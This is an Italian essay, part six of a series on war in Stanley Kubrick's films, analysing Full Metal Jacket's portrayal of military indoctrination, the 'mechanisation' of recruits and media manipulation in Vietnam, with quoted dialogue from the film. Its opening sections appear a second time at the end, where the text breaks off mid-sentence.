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La Guerra secondo Kubrick (parte 6 di 8)
FULL METAL JACKET: LA “MECCANIZZAZIONE” DELL’UOMO
Due anni dopo la realizzazione di Shining, del 1980, l’attenzione di Stanley Kubrick ricade sul racconto The Short Timers di Gustav Hasford, in cui alcuni giovani marines vengono addestrati in un campo di addestramento per poi essere mandati in Vietnam a combattere. Affascinato dai vari risvolti della storia («Quando ho letto il libro ho trovato irresistibili l’originalità, la bellezza dello stile, la semplicità», ha detto il regista), Kubrick acquistò i diritti del libro, cominciando così a lavorare alla sceneggiatura di Full Metal Jacket, uscito nel 1987. Michael Herr, co-sceneggiatore del film, ricorda lo scambio di battute tra lui e Kubrick alla “nascita” di Full Metal Jacket; il regista disse di voler fare un film di guerra, Herr gli fece notare che aveva già fatto Orizzonti di gloria, al che Kubrick rispose: «Quello è contro la guerra. Voglio fare un film di guerra solo per considerarne il soggetto, senza una posizione morale o politica, ma come fenomeno».Il termine “full metal jacket” (letteralmente “copertura piena di piombo”), che non compare in nessuna parte del racconto, descrive il rivestimento di un tipo di proiettile e in un certo senso richiama alla metaforica corazza di metallo (come quella degli automi) nella quale venivano avvolti i marines per essere trasformati in killer.
L’intenzione del regista, attraverso questo film, è di inserire alcuni temi già affrontati nelle sue opere precedenti in un contesto bellico moderno, come quello vietnamita: «Il Vietnam è stata probabilmente l’unica guerra dominata dai falchi intellettuali che manipolavano i fatti e perfezionavano la realtà, ingannando sia loro stessi che il pubblico».
Ma il tema che più di altri Kubrick intende affrontare con Full Metal Jacket è quello della “meccanizzazione” dell’uomo, ovvero del rendere automatico un qualcosa di naturale, un tema nel quale il regista si era addentrato esplicitamente, già dal titolo, in Arancia meccanica, nel 1971.
Le vicende di Full Metal Jacket si svolgono in due segmenti ben delineati: l’addestramento a Parris Island e il Vietnam. La scena d’apertura del film mostra un gruppo di ragazzi a cui stanno radendo a zero le teste: ci troviamo nel campo d’addestramento di Parris Island; il sergente istruttore Hartman si presenta ad un gruppo di reclute, destinate a diventare marines, “macchine da guerra”. Il linguaggio dell’istruttore è offensivo e osceno; egli mostra immediatamente tutta la sua severità nei confronti di chi non si è ancora inquadrato nella disciplina imposta dalla procedura militare. In questa fase iniziale di presentazione emergono i personaggi di Joker, un giovane dall’aria intellettuale e scherzosa, di Cowboy e in particolare di Palla di Lardo, un ragazzo goffo e imbranato, sul quale Hartman riversa tutta la sua crudele offensività. Le scene che seguono mostrano il training al quale vengono sottoposte le varie reclute, dove agli esercizi fisici si alternano fasi in cui l’istruttore cerca di plagiare le menti dei futuri soldati mediante riti collettivi inneggianti alla guerra e alle armi. Joker, nonostante i continui rimproveri subiti, diventa caposquadra, mentre Palla di Lardo, messo continuamente alla berlina, viene emarginato dai suoi stessi compagni di camerata, costretti da Hartman a pagare per ogni errore del loro compagno. Una notte il ragazzo subisce un pestaggio da parte di tutti gli altri soldati, Joker compreso (anche se inizialmente esitante); nei giorni seguenti Palla di Lardo mostra segni di instabilità, la sua “trasformazione” in macchina da guerra è quasi completa, per la soddisfazione del suo istruttore. L’ultima notte a Parris Island è però tragica: Palla di Lardo è sorpreso da Joker nel bagno mentre sta caricando il suo fucile con pallottole «blindatissime» (“full metal jacket” appunto); all’arrivo di Hartman il giovane gli spara e poi si uccide.
Una dissolvenza ci porta nel Vietnam; Joker è corrispondente di guerra per il giornale dell’esercito «Stars and Stripes». Durante l’offensiva del Tet, nella quale i vietcong attaccano l’esercito statunitense, Joker viene mandato al fronte a fare un reportage con il suo amico Rafterman. Qui ritrova il compagno di corso Cowboy e si unisce alla sua squadra; il gruppo riesce a liberare una città con poca difficoltà, l’entusiasmo aumenta con l’arrivo degli inviati televisivi che intervistano i vari marines. I soldati partono per una nuova missione verso la città di Hue, ma perdono l’orientamento e si ritrovano sotto il tiro di un cecchino, che uccide due di loro e in seguito lo stesso Cowboy. I rimanenti soldati individuano la posizione del cecchino e lo sorprendono alle spalle: si tratta di una giovane ragazza, alla quale Joker prova a sparare, non riuscendo poiché gli si inceppa il fucile. Mentre sta per essere ucciso, Rafterman giunge a salvarlo, sparando al cecchino; la ragazza è agonizzante, circondata dai soldati: Joker pone fine alle sofferenze della giovane, uccidendola. Il gruppo si allontana nella notte intonando il ritornello di Mickey Mouse.
Il tema kubrickiano che vediamo immediatamente riemergere in Full Metal Jacket è quello che mostra il sistema e la struttura dell’istituzione militare: «l’esercito affiora come struttura rigida e asettica, impersonale, funzionale; (…) una struttura violenta, costruzione ossessivamente minuziosa finalizzata alla distruzione e psicologicamente distruttrice e autodistruttrice di se stessa». Il fine dell’esercito si concentra quindi nella distruzione della personalità umana, con l’obiettivo di possedere il controllo assoluto sull’individuo, attraverso la sua “meccanizzazione”. Lo stesso Hartman, presentandosi alle reclute, sottolinea questo passaggio fondamentale da essere naturale a essere meccanico: «Se voi signorine finirete questo corso e se sopravviverete all’addestramento, sarete un’arma, sarete dispensatori di morte, pregherete per combattere». Ma trasformare uomini in armi è possibile? Secondo Stanley Kubrick la risposta è affermativa: «Sì, trasformare esseri umani in armi è possibile. Come dice il sergente nel mio film: “Un’arma è solo un utensile, è il cuore duro che uccide”» (nella versione italiana del film è in realtà tradotto: «Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide»). Il duro training al quale si sottopongono i soldati è finalizzato a distruggere la paura della morte e per distruggere questa è necessario distruggere la personalità: già nella primissima scena tale distruzione è inscritta nelle immagini dei giovani dal barbiere, dove vengono tutti quanti rasati a zero, primo elemento del processo di meccanizzazione ad accomunare i ragazzi, ognuno reso una sorta di “clone” dell’altro; in questa scena vediamo il barbiere militare “operare” sulle loro teste, quasi a presagire quel lavaggio del cervello al quale verranno sottoposti in seguito. In Full Metal Jacket: «il cervello è il vero campo di battaglia, il vero Vietnam, presupposto e posta in gioco della guerra. Parris Island è il luogo (isolano – isolato – isolante) del lavaggio del cervello e delle lavate di testa, è il luogo in cui s’interviene direttamente sulla testa»; non a caso sulla locandina del film è presente un elmetto, ovvero la “testa” del soldato.
Joker, voce narrante del film, descrive in poche parole il luogo in cui si trova: «Parris Island, Carolina del Sud, campo di addestramento reclute del corpo dei marines degli Stati Uniti. Corso di otto settimane per falsi duri e pazzi furiosi». In questa bipartizione la giovane recluta mostra la sua lucidità, autoescludendosi di fatto dalla categoria dei “pazzi furiosi” e inserendosi quindi in quella dei “falsi duri”. Joker per tutto il film non è altro che questo, poiché sembra sfuggire alla disumanizzazione della sua personalità: quando alla fine è chiamato alla battaglia, fallisce, perché in lui è ancora acceso il lume dell’umanità e dell’intelligenza, perché non è un vero killer e il suo primo omicidio è causato dalla compassione e non dall’odio. Di conseguenza va osservato come ne Il dottor Stranamore e in Orizzonti di gloria la follia della guerra fosse dovuta all’orgoglio e all’ambizione dei generali, in Full Metal Jacket, invece, si basa essenzialmente sul tentativo del soldato Joker di restare sano in un ambiente folle.
Come sottolinea Magnisi: «Tutto il primo atto della pellicola sarà una lunga introduzione (un vero addestramento anche per gli spettatori) alla sottocultura dei marines, osservata con iperrealismo clinico dall’occhio di Kubrick, all’interno di un’ossessione per la geometria e la regola, l’ordine e la disciplina». L’obiettivo dell’istruttore Hartman (peraltro interpretato da un vero istruttore dei marines, Lee Ermey) è standardizzare tutte le reclute secondo canoni prestabiliti, omogeneizzare il gruppo, escludendo ogni tipo di diversità, motivo per cui il soldato Palla di Lardo risulta il più difficile da “meccanizzare”, poiché la sua diversità è evidente nelle caratteristiche fisiche (la grassezza) e motorie (la goffaggine), che lo portano inevitabilmente ad essere il bersaglio prediletto del suo istruttore, che non risparmia oltraggi e offese per cercare di motivare (quindi standardizzare) il ragazzo: «Ma tu ci sei nato sotto forma di viscido sacco di merda, Palla di Lardo, o ci hai studiato per diventarlo? (…) Perché tu sei un ciccione ributtante e fai schifo, Palla di Lardo!».
Gli esercizi fisici, nonostante la durezza, risultano essere la parte d’addestramento più innocua e meno importante, è l’indottrinamento psicologico, invece, la parte fondamentale per plagiare le giovani reclute; il linguaggio usato da Hartman è esplicito e aggressivo, e le vittime di esso non possono che subirlo passivamente. L’istruttore cerca continuamente di costruire un rapporto di intimità e complicità tra la recluta ed il fucile, sottolineando l’importanza di questo connubio (ed è immediato il richiamo alle ispezioni del generale Mireau nelle trincee di Orizzonti di gloria): «Stanotte vi porterete a letto il vostro fucile e darete al vostro fucile un nome di ragazza, perché sarà quello l’unico buco che voialtri rimedierete qui dentro. (…) Siete sposati al fucile, quel coso fatto di legno e di ferro, e rimarrete fedeli soltanto a lui!». E ancora: «La più micidiale combinazione del mondo: un marine col suo fucile. Ma è sulla volontà di uccidere che bisogna concentrarsi. (…) Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide». Joker, in uno dei rari interventi della sua voce fuori campo, dice che: «Il corpo dei marines non vuole dei robot, il corpo dei marines vuole dei killer, il corpo dei marines mira a creare uomini indistruttibili, uomini senza paura»; per cancellare la paura della morte dai soldati, il sistema deve quindi cercare di vendere un’immortalità “a basso costo”: «Un marine può morire, siamo qui per questo, ma il corpo dei Marine vivrà per sempre e questo significa che voi vivrete per sempre», dice Hartman e tutte le marcette e i ritornelli che fa intonare ai suoi soldati non sono altro che un accumulo di elementi che rappresentano una procedura (per un istruttore militare è la prassi) che ha come fine ultimo quello di plagiare le menti delle reclute. Tra tante situazioni, è piuttosto eloquente in questo caso la preghiera che i soldati devono recitare, fucile in mano, prima di andare a dormire: «Questo è il mio fucile, ce ne sono tanti come lui, ma questo è il mio. Il mio fucile è il mio migliore amico, è la mia vita. Io devo dominarlo come domino la mia vita. Senza di me il mio fucile non è niente, senza il mio fucile io sono niente. Devo colpire il bersaglio; devo sparare meglio del mio nemico che cerca di ammazzare me. Devo sparare io prima che lui spari a me e lo farò. Al cospetto di Dio giuro su questo credo: il mio fucile e me stesso siamo i difensori della patria, siamo i dominatori dei nostri nemici, siamo i salvatori della nostra vita e così sia, finché non ci sarà più nemico, ma solo pace. Amen».
Un aspetto particolare che troviamo in Full Metal Jacket, ma che già abbiamo incontrato in Orizzonti di gloria, è il continuo tentativo della struttura militare di provare a piegare alla propria logica ogni tipo di azione ed ideologia, inglobandola nel proprio sistema: nella prima parte del film Joker dice al suo istruttore di non credere in Dio, nonostante le ripetute ed insistenti affermazioni del sergente riguardo al valore ideologico della religione cattolica; in un primo momento Hartman sembra infuriato, ma invece di punire il ragazzo lo nomina caposquadra, dicendo che: «Il soldato Joker è ignorante e senza dio, ma ha fegato e il fegato è tutto». In questo modo, come nota Eugeni, l’esercito dimostra: «la terribile capacità di ricondurre ai propri parametri ogni opposizione, non contrastandola, ma semplicemente privandola del proprio senso originario». Un comportamento simile lo aveva assunto anche Broulard in Orizzonti di gloria, ritenendo la nobile azione difensiva di Dax niente più che una tattica per ottenere una promozione. Inoltre, come abbiamo visto nelle pellicole trattate in precedenza, dove gli eserciti combattono e uccidono i loro stessi soldati, anche in Full Metal Jacket il sistema finisce per implodere, per combattere contro se stesso: gli sforzi fatti da Hartman per rendere Palla di Lardo un killer vengono “premiati” nel finale della prima macrosequenza del film, dove il soldato, divenuto una macchina impazzita (come il computer Hal in 2001), uccide il suo istruttore, divenendo di fatto il killer che il duro addestramento doveva creare: «Quando Palla di Lardo scarica su [Hartman] i suoi proiettili blindati, nessuno tira sospiri di sollievo, ma anzi si resta agghiacciati, perché è chiaro che la morte di Hartman lascia viva e intatta l’istituzione; non arriva ad espiazione di alcuna colpa, ma a conferma dell’efficacia di un insegnamento».
L’esperienza di Palla di Lardo incarna alla perfezione il tema dell’uomo come nemico di se stesso; già nelle prime scene del film l’ordine di Hartman alla sua recluta («strangolati da solo!», autocitando Stranamore) non era che il preludio all’omicidio-suicidio commesso dal soldato nell’ultima scena ambientata a Parris Island: «[Palla di Lardo] lobotomizzato da brutalità e umiliazioni, interiorizza la violenza dell’ambiente in cui è stato costretto a calarsi, discendendo nel cuore di tenebra della sua follia. (…) L’apprendista stregone Hartman è stato la vittima del suo Frankenstein che, come quella creatura riplasmata, rifiuta di vivere in questo mondo ultra-violento».
Qui si chiude la prima parte del film, quella dedicata alla fase di addestramento; a proposito di questa è interessante citare un articolo del 1987 comparso sui «Cahiers du Cinéma»: «I film di Kubrick descrivono il mondo come un cervello, inevitabilmente soggetto a disfunzioni (per ragioni a volte esterne, a volte interne). Full Metal Jacket illustra in modo ammirevole questa tesi. Il microcosmo del campo di addestramento di Parris Island in effetti è organizzato come un cervello composto da cellule umane che pensano e reagiscono nello stesso modo, fino a quando il suo buon funzionamento si disintegra: dall’interno nel momento in cui una cellula singola (Palla di Lardo) comincia ad eseguire inesorabilmente le direttive di istinto di morte che regolano l’organo nella sua interezza; dall’esterno con l’offensiva del Tet, rappresentazione esteriorizzata di un’identica forza».La morte di Palla di Lardo chiude il cerchio della violenza apertosi nel campo di addestramento, ma è solo il prologo alla guerra vera: terminata la rappresentazione dell’inferno interiore all’uomo (Parris Island), una breve dissolvenza ci porta nell’inferno esteriore, il Vietnam, che vede Joker come anello di congiunzione tra le due parti. Se nella prima grande sequenza la struttura dell’esercito costruisce i suoi killer, le sue macchine da guerra, mostrando la propria capacità di controllo sulle reclute (ad eccezione della “cellula impazzita” Palla di Lardo), la seconda parte del film svela la debolezza e la precarietà di questo processo di “meccanizzazione”; a contatto con la guerra saltano tutti i meccanismi di controllo e i suoi protagonisti si perdono: «La macchina militare si trova ad affrontare un territorio labirintico, complesso e smarrisce le coordinate: coordinate morali, coordinate militari (tutti i “gialli” possono essere nemici, il nemico non è più identificabile), coordinate fisiche (la pattuglia dispersa nello spazio labirintico di Hue)».
Il Vietnam di Kubrick è iconograficamente un Vietnam inedito: non ci sono le giungle che i viet-movie precedenti avevano mostrato al pubblico; il regista rifiuta di ambientare il film attorno ad uno stereotipo e sfrutta una fabbrica in disuso sulle rive del Tamigi per realizzare il “suo” Vietnam: «L’architettura degli stabilimenti dell’ex fabbrica era l’architettura funzionale degli anni Trenta, esattamente uguale a quella di quartieri industriali delle città vietnamite come Saigon o Hue. L’ambientazione si prestava idealmente al soggetto del film».
La prima scena, della parte ambientata in Vietnam, ci mostra subito Joker; di conseguenza lo spettatore mette a fuoco la sua figura come figura-chiave del film: qui ritroviamo il soldato nelle vesti di giornalista per «Stars and Stripes», nonostante la disapprovazione mostrata in precedenza a Parris Island da Hartman («Ti sei messo in testa di essere un cazzo di scrittore? (…) Non sei qui come scrittore, qui sei un killer!»). Nella redazione del giornale campeggia la scritta con il motto «First to go Last to know» (“primi ad andare, ultimi a sapere”), a sottolineare il fatto che la verità non era l’elemento primario di un giornale di guerra, che anzi doveva scrivere storie fasulle per accattivarsi il consenso dell’opinione pubblica sull’impiego dei soldati americani in Vietnam; a questo proposito è esemplare il discorso che il caporedattore di «Stars and Stripes» rivolge a Joker: «Noi pubblichiamo due tipi di storie: marines che spendono la paga per comprare ai gialli dentifrici e deodoranti, tipo “arte di sedurre i cuori”, okay? ..E storie di combattimenti con un sacco di morti, tipo “come vincere la guerra”». Lo stesso Kubrick ha spiegato come, quella del Vietnam, sia stata la prima guerra ad esser condotta negli Stati Uniti soprattutto come una campagna pubblicitaria: «La manipolazione della verità attraverso i mezzi di comunicazione di massa del governo fu uno degli obiettivi di questa campagna. Ciò ha condotto al fatto che l’opinione pubblica americana ha avuto un’immagine falsa e manipolata dell’intera guerra». Kubrick sapeva che il conflitto vietnamita era stato il primo ad essere seguito dai media televisivi, per questo non ha risparmiato nel film i riferimenti all’iconografia tracciata dagli stessi media: quando uno dei soldati, Animal Mother, domanda a Joker se avesse mai visto il fronte, questi gli risponde: «Accidenti se l’ho visto: in televisione»; o ancora il soldato Cowboy, quando in un’intervista televisiva parla della guerra: «Quando siamo a Hue, noi entriamo in città, no? E lì è proprio come una guerra, capito? Come quello che… quello che io pensavo che deve essere una guerra vera, come io pensavo, come io… come me l’ero immaginata»; di conseguenza: «La guerra è già vista, è già registrata nell’archivio mnemonico di chi vi combatte grazie a cinema e televisione». La presenza televisiva è in ogni dove, come i riferimenti dei soldati ai miti cinematografici americani, su tutti il genere western: Joker imita e cita più volte John Wayne, gli altri soldati paragonano i vietcong agli indiani, i “cattivi” per eccellenza nei western hollywoodiani del passato («Ma gli indiani chi li fa?» «Tocca ai musi gialli fare gli indiani»).
Dopo l’ennesima risposta beffarda rivolta al suo caporedattore, Joker viene spedito insieme a Rafterman (“l’uomo della zattera”, un richiamo a Fear and Desire) nella “zona calda”; è qui che incontra per la prima volta il reale orrore per la guerra, i suoi occhi si posano su una fossa comune e la sua indignazione lo porta ad una conclusione apparentemente ovvia («I morti sanno soltanto una cosa: che è meglio essere vivi»), ma che riassume appieno una delle verità che il regista vuole mostrare nella seconda parte del film: i soldati che vengono mandati a combattere in guerra, non lottano per niente se non per restare vivi, né per ideali né per fama quindi, ma solo per la sopravvivenza. Una verità che sottolinea il contesto mentale e non fisico del conflitto mostrato da Kubrick: «In guerra è meglio esser vivi che morti e tutto il resto non conta. Dirlo a parole è semplice, “spiegarlo” con un film molto difficile. Spiegarlo crudelmente e virilmente come fa Full Metal Jacket, poi, richiede un’estrema precisione di tono, perché l’orrore di Full Metal Jacket non è negli schizzi di sangue e negli arti amputati ma nella dimensione mentale del combattimento, nella meccanizzazione della barbarie: il prodotto coerente della propedeutica di Hartman». Subito dopo questa scena, troviamo un elemento fondamentale della seconda parte del film, ovvero la spiegazione che Joker fornisce ad un ufficiale, dopo che questi ha notato sull’uniforme del soldato la presenza del distintivo della pace e della scritta “Born to Kill” (“nato per uccidere”) sull’elmetto: «Io volevo soltanto fare riferimento alla dualità dell’essere umano, signore, l’ambiguità dell’uomo, una teoria junghiana, signore». È l’ennesimo sberleffo di un buffone (in inglese “joker”, per l’appunto) che cerca di contrastare gli orrori della guerra mediante l’ironia e lo scherzo, oppure si tratta del tentativo di un uomo di elevarsi e di differenziarsi da una massa di automi tutti uguali tra loro, tutti standardizzati, attraverso l’uso dell’intelletto e della cultura? Sembra che la risposta si trovi a metà strada tra le due parti: Joker da un lato si ribella al sistema (come Palla di Lardo anche lui è un personaggio diverso dalla massa, ma molto meno vulnerabile) grazie alla sua coscienza e alla sua personalità, ma dall’altro sa stare al gioco dell’istituzione militare, comportandosi da perfetto integrato (partecipa al pestaggio collettivo contro Palla di Lardo, afferma alla televisione di voler essere il primo ragazzo del suo palazzo «a fare centro dentro qualcuno»): «Joker ha un ruolo di focalizzatore omodiegetico assai marcato, ma spesso assente e in chiara distonia con quanto concretamente fatto dal personaggio. Egli alterna momenti di lucidità osservativa ad altri di complicità irriflessa».Lo stesso Kubrick spiega la presenza del distintivo della pace sull’uniforme del protagonista: «Si tratta di un simbolo che indica dualismo. Il soldato Joker dice infatti al suo superiore che gli chiede cosa voglia significare quel bottone: che gli esseri umani sono divisi fra odio e diffidenza da una parte, amicizia e disponibilità dall’altra». La dualità dell’essere umano evidenziata dal regista trova riscontro anche nei comportamenti degli altri personaggi: su tutti il soldato Animal Mother, presentato inizialmente come una sorta di Rambo dispensatore di morte (sul suo elmetto c’è scritto: “I am become death”, “sono diventato morte”), è colui che invece ha la lucidità di riconoscere che quella alla quale stanno assistendo in Vietnam è «una strage», inoltre contraddice gli ordini e si espone al fuoco del cecchino pur di andare a salvare i compagni feriti.
Kubrick, nella scena in cui l’ufficiale chiede spiegazioni a Joker, evidenzia la follia e l’ottusità delle alte sfere del sistema militare; la sua critica per questo tipo di personaggi si nota nella frase finale messa in bocca all’ufficiale in questione, che dice al soldato: «È un mondo spietato, figliolo, bisogna tener duro fino a quando non passerà questa mania della pace». Il regista sembra voler dire che quello al quale stiamo assistendo «è un universo alla rovescia, di pazzi al comando, con la voce pensante di Joker unico sguardo lucido. (…) Il Vietnam, come ogni guerra, è il regno del militarismo, l’obbligo dell’impiego universale della violenza come mezzo ai fini dello Stato»; un concetto di violenza gratuita che emerge dalle parole dei vari soldati, per esempio da quelle del capopattuglia di Cowboy, Crazy Earl: «Siamo i giganti verdi dei detersivi, solo che noi andiamo in giro a ripulire il mondo col mitra. Quelle che abbiamo fatto fuori oggi sono le persone più meravigliose del mondo: quando torneremo a casa di sicuro non troveremo più gente a cui valga la pena di sparare». La violenza è quindi l’unica realtà: «Gli uomini non possono governarla, sono loro a essere guidati dai processi conduttivi di quest’energia che hanno scatenato e che ora li sovrasta. Le battaglie non si decidono da uomini che calcolano e riflettono, ma tra soldati ormai depredati delle facoltà razionali, cieche forze che non sono che impeto. È il segreto ultimo della guerra: la riduzione della persona umana a materia inerte, dominata dall’istinto crudele della preda o del cacciatore».
Nell’ultima parte del film, la pattuglia si perde nello spazio labirintico di Hue, un corrispettivo fisico e spaziale della situazione interiore dei personaggi, che il regista ama spesso delineare nelle sue pellicole, da Fear in Desire, fino ad Eyes Wide Shut («Kubrick sembra interessato a offrire un ulteriore esempio di quella poetica della perdita di controllo sulle coordinate spaziali e temporali già operativa in gran parte della produzione filmica precedente»). In questo spazio, nel pieno dello smarrimento, un cecchino uccide prima il soldato Eightball, quindi Doc Jay, che era corso ad aiutare il compagno. Cowboy vuole far ripiegare il gruppo e abbandonare i compagni, ma Animal Mother si oppone e si lancia in avanti, riuscendo a far guadagnare terreno alla sua squadra: anche Cowboy però viene ucciso dal cecchino. Decisi nel voler vendicare i compagni, i rimanenti soldati si mettono alla ricerca del nemico; è Joker a trovarlo per primo e a scoprire che si tratta di una ragazzina armata. Il fucile del soldato si inceppa ed egli è costretto a rifugiarsi dietro ad una colonna, mentre le pallottole dell’avversaria si scagliano contro la sua postazione. Rafterman giunge sul posto e colpisce la ragazza, quindi si lascia andare ad urla di entusiasmo di fronte alla sua prima vittima: «Sono un duro, sono uno che fa fuori i nemici, sono un killer!». La ragazza però è ancora viva, agonizzante; Animal Mother intende lasciarla lì («Che marcisca qui»), mentre Joker vorrebbe aiutarla. Kubrick, dopo aver concesso a Joker la possibilità di uscire da ogni situazione precedente in modo ironico e sarcastico (conformemente al soprannome del soldato), in questa sequenza finale mette il suo protagonista faccia a faccia con l’orrore, con la possibilità di «far centro dentro qualcuno» che il soldato, sarcasticamente, aveva desiderato di avere. Joker dà il colpo di grazia alla ragazza, mosso da pietà, sicuramente, ma allo stesso tempo: «volente o nolente Joker si è trasformato in una killing machine: una piccola rotella senza volto nell’ingranaggio della morte. Hartman, probabilmente, sorride nella tomba. La tragica ironia finale di Full Metal Jacket è che la guerra ha preso in giro anche il suo giullare». Dopo questo “battesimo di morte”, Joker raggiunge gli altri soldati e si unisce alla marcia nell’oscurità; le sue ultime parole: «Sono proprio contento di essere vivo, tutto d’un pezzo, prossimo al congedo. Certo, vivo in un mondo di merda, questo sì, ma sono vivo e non ho più paura». Ora che non ha più paura, anche il soldato Joker, lo scrittore che difendeva la verità giornalistica, è divenuto una macchina per uccidere? Anche lui, l’intellettuale che citava Jung di fronte ai suoi superiori, ha raggiunto il suo punto di non ritorno, come avevano fatto in precedenza Palla di Lardo e Rafterman? In quest’ottica «Full Metal Jacket è un’opera disperata, dilaniata, che sancisce la fine di ogni residua illusione kubrickiana sulla natura dell’uomo e sulle sue possibilità di salvezza».
Tutti i marines si uniscono in un canto: intonano la Marcia di Topolino. Stavolta non si tratta del finale umanista di Orizzonti di gloria, ma di una regressione dei soldati allo stato infantile: «Quegli uomini in marcia, cui la guerra ha rivoluzionato ogni scala di valori, dei bambini condividono la crudeltà amorale, l’assenza di scrupoli etici, la aggressività necessaria, l’assenza di principi che non siano quelli naturali ed elementari, l’immunità da ogni ipocrisia; infine la noncuranza stessa della propria morte».Partono i titoli di coda, in contemporanea ai versi della splendida Paint it black (“dipingilo di nero”) dei Rolling Stones; Mick Jagger canta: «I see a red door and I want it painted black; no colors anymore I want them to turn black» (“vedo una porta rossa e voglio dipingerla di nero; non voglio più colori ma tutto dipinto di nero”), proprio quando le immagini sono finite e lo schermo è diventato nero; «It’s not easy facing up when your whole world is black» (“non è facile restare a testa alta quando il mondo intero è nero”); e ancora: «I look inside myself and see my heart is black» (“guardo dentro me stesso e vedo che il mio cuore è nero”). Il messaggio del pessimista Kubrick, anche durante i titoli di coda, è vivo, diretto, lucido, spietato e soprattutto definitivo.
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FULL METAL JACKET: LA “MECCANIZZAZIONE” DELL’UOMO
Due anni dopo la realizzazione di Shining, del 1980, l’attenzione di Stanley Kubrick ricade sul racconto The Short Timers di Gustav Hasford, in cui alcuni giovani marines vengono addestrati in un campo di addestramento per poi essere mandati in Vietnam a combattere. Affascinato dai vari risvolti della storia («Quando ho letto il libro ho trovato irresistibili l’originalità, la bellezza dello stile, la semplicità», ha detto il regista), Kubrick acquistò i diritti del libro, cominciando così a lavorare alla sceneggiatura di Full Metal Jacket, uscito nel 1987. Michael Herr, co-sceneggiatore del film, ricorda lo scambio di battute tra lui e Kubrick alla “nascita” di Full Metal Jacket; il regista disse di voler fare un film di guerra, Herr gli fece notare che aveva già fatto Orizzonti di gloria, al che Kubrick rispose: «Quello è contro la guerra. Voglio fare un film di guerra solo per considerarne il soggetto, senza una posizione morale o politica, ma come fenomeno».Il termine “full metal jacket” (letteralmente “copertura piena di piombo”), che non compare in nessuna parte del racconto, descrive il rivestimento di un tipo di proiettile e in un certo senso richiama alla metaforica corazza di metallo (come quella degli automi) nella quale venivano avvolti i marines per essere trasformati in killer.
L’intenzione del regista, attraverso questo film, è di inserire alcuni temi già affrontati nelle sue opere precedenti in un contesto bellico moderno, come quello vietnamita: «Il Vietnam è stata probabilmente l’unica guerra dominata dai falchi intellettuali che manipolavano i fatti e perfezionavano la realtà, ingannando sia loro stessi che il pubblico».
Ma il tema che più di altri Kubrick intende affrontare con Full Metal Jacket è quello della “meccanizzazione” dell’uomo, ovvero del rendere automatico un qualcosa di naturale, un tema nel quale il regista si era addentrato esplicitamente, già dal titolo, in Arancia meccanica, nel 1971.
Le vicende di Full Metal Jacket si svolgono in due segmenti ben delineati: l’addestramento a Parris Island e il Vietnam. La scena d’apertura del film mostra un gruppo di ragazzi a cui stanno radendo a zero le teste: ci troviamo nel campo d’addestramento di Parris Island; il sergente istruttore Hartman si presenta ad un gruppo di reclute, destinate a diventare marines, “macchine da guerra”. Il linguaggio dell’istruttore è offensivo e osceno; egli mostra immediatamente tutta la sua severità nei confronti di chi non si è ancora inquadrato nella disciplina imposta dalla procedura militare. In questa fase iniziale di presentazione emergono i personaggi di Joker, un giovane dall’aria intellettuale e scherzosa, di Cowboy e in particolare di Palla di Lardo, un ragazzo goffo e imbranato, sul quale Hartman riversa tutta la sua crudele offensività. Le scene che seguono mostrano il training al quale vengono sottoposte le varie reclute, dove agli esercizi fisici si alternano fasi in cui l’istruttore cerca di plagiare le menti dei futuri soldati mediante riti collettivi inneggianti alla guerra e alle armi. Joker, nonostante i continui rimproveri subiti, diventa caposquadra, mentre Palla di Lardo, messo continuamente alla berlina, viene emarginato dai suoi stessi compagni di camerata, costretti da Hartman a pagare per ogni errore del loro compagno. Una notte il ragazzo subisce un pestaggio da parte di tutti gli altri soldati, Joker compreso (anche se inizialmente esitante); nei giorni seguenti Palla di Lardo mostra segni di instabilità, la sua “trasformazione” in macchina da guerra è quasi completa, per la soddisfazione del suo istruttore. L’ultima notte a Parris Island è però tragica: Palla di Lardo è sorpreso da Joker nel bagno mentre sta caricando il suo fucile con pallottole «blindatissime» (“full metal jacket” appunto); all’arrivo di Hartman il giovane gli spara e poi si uccide.
Una dissolvenza ci porta nel Vietnam; Joker è corrispondente di guerra per il giornale dell’esercito «Stars and Stripes». Durante l’offensiva del Tet, nella quale i vietcong attaccano l’esercito statunitense, Joker viene mandato al fronte a fare un reportage con il suo amico Rafterman. Qui ritrova il compagno di corso Cowboy e si unisce alla sua squadra; il gruppo riesce a liberare una città con poca difficoltà, l’entusiasmo aumenta con l’arrivo degli inviati televisivi che intervistano i vari marines. I soldati partono per una nuova missione verso la città di Hue, ma perdono l’orientamento e si ritrovano sotto il tiro di un cecchino, che uccide due di loro e in seguito lo stesso Cowboy. I rimanenti soldati individuano la posizione del cecchino e lo sorprendono alle spalle: si tratta di una giovane ragazza, alla quale Joker prova a sparare, non riuscendo poiché gli si inceppa il fucile. Mentre sta per essere ucciso, Rafterman giunge a salvarlo, sparando al cecchino; la ragazza è agonizzante, circondata dai soldati: Joker pone fine alle sofferenze della giovane, uccidendola. Il gruppo si allontana nella notte intonando il ritornello di Mickey Mouse.
Il tema kubrickiano che vediamo immediatamente riemergere in Full Metal Jacket è quello che mostra il sistema e la struttura dell’istituzione militare: «l’esercito affiora come struttura rigida e asettica, impersonale, funzionale; (…) una struttura violenta, costruzione ossessivamente minuziosa finalizzata alla distruzione e psicologicamente distruttrice e autodistruttrice di se stessa». Il fine dell’esercito si concentra quindi nella distruzione della personalità umana, con l’obiettivo di possedere il controllo assoluto sull’individuo, attraverso la sua “meccanizzazione”. Lo stesso Hartman, presentandosi alle reclute, sottolinea questo passaggio fondamentale da essere naturale a essere meccanico: «Se voi signorine finirete questo corso e se sopravviverete all’addestramento, sarete un’arma, sarete dispensatori di morte, pregherete per combattere». Ma trasformare uomini in armi è possibile? Secondo Stanley Kubrick la risposta è affermativa: «Sì, trasformare esseri umani in armi è possibile. Come dice il sergente nel mio film: “Un’arma è solo un utensile, è il cuore duro che uccide”» (nella versione italiana del film è in realtà tradotto: «Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide»). Il duro training al quale si sottopongono i soldati è finalizzato a distruggere la paura della morte e per distruggere questa è necessario distruggere la personalità: già nella primissima scena tale distruzione è inscritta nelle immagini dei giovani dal barbiere, dove vengono tutti quanti rasati a zero, primo elemento del processo di meccanizzazione ad accomunare i ragazzi, ognuno reso una sorta di “clone” dell’altro; in questa scena vediamo il barbiere militare “operare” sulle loro teste, quasi a presagire quel lavaggio del cervello al quale verranno sottoposti in seguito. In Full Metal Jacket: «il cervello è il vero campo di battaglia, il vero Vietnam, presupposto e posta in gioco della guerra. Parris Island è il luogo 